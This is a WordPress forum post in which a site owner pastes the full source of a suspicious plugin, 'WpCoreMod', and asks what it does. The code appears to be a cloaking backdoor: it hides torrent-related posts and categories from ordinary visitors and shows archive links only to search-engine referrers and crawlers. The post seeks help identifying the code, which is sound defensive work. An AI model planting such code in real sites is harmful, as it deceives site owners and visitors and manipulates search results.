Suspect plugin
-
Hello everyone, I just found in a website I set-up about a year ago a suspect plugin, called WpCoreMod. The full path of the plugin file is wpcoress/wpcoremod.php and it has the following content:
I could’t find any other references on the web, so I post the content of the file below, hoping that someone esle can tell me what this plugin does (if it’s harmful).
Thank you!
<?php /* * Plugin Name: WPCoreMod * Version: 1.0 */ function stripos_array($str, $array) { foreach($array as $substr) { if (stripos($str, $substr) !== false) return true; } return false; } function add_column_views_request($clauses){ global $wpdb; $clauses['where'] .= " AND {$wpdb->posts}.post_content NOT LIKE '%torrent%'"; return $clauses; } function ex_cats($clauses) { global $wpdb; $cats = $wpdb->get_col("SELECT key1.term_id FROM wp_term_taxonomy key1 INNER JOIN wp_term_relationships key2 on key2.term_taxonomy_id = key1.term_taxonomy_id and key1.taxonomy = 'category' INNER JOIN wp_posts key3 on key3.id = key2.object_id and key3.post_content LIKE '%torrent%'"); $clauses['where'] .= " AND t.term_id NOT IN(" . implode(",", $cats) . ")"; return $clauses; } function wp_get_arch() { wp_get_archives(); } $array = array("google", "yahoo", "msn"); if(stripos_array($_SERVER['HTTP_REFERER'], $array) == false && stripos_array($_SERVER['HTTP_USER_AGENT'], $array) == false) { add_filter("posts_clauses", "add_column_views_request"); add_filter("terms_clauses", "ex_cats"); } else { add_action('wp_footer', 'wp_get_arch'); } ?>
Viewing 3 replies - 1 through 3 (of 3 total)
Viewing 3 replies - 1 through 3 (of 3 total)
- The topic ‘Suspect plugin’ is closed to new replies.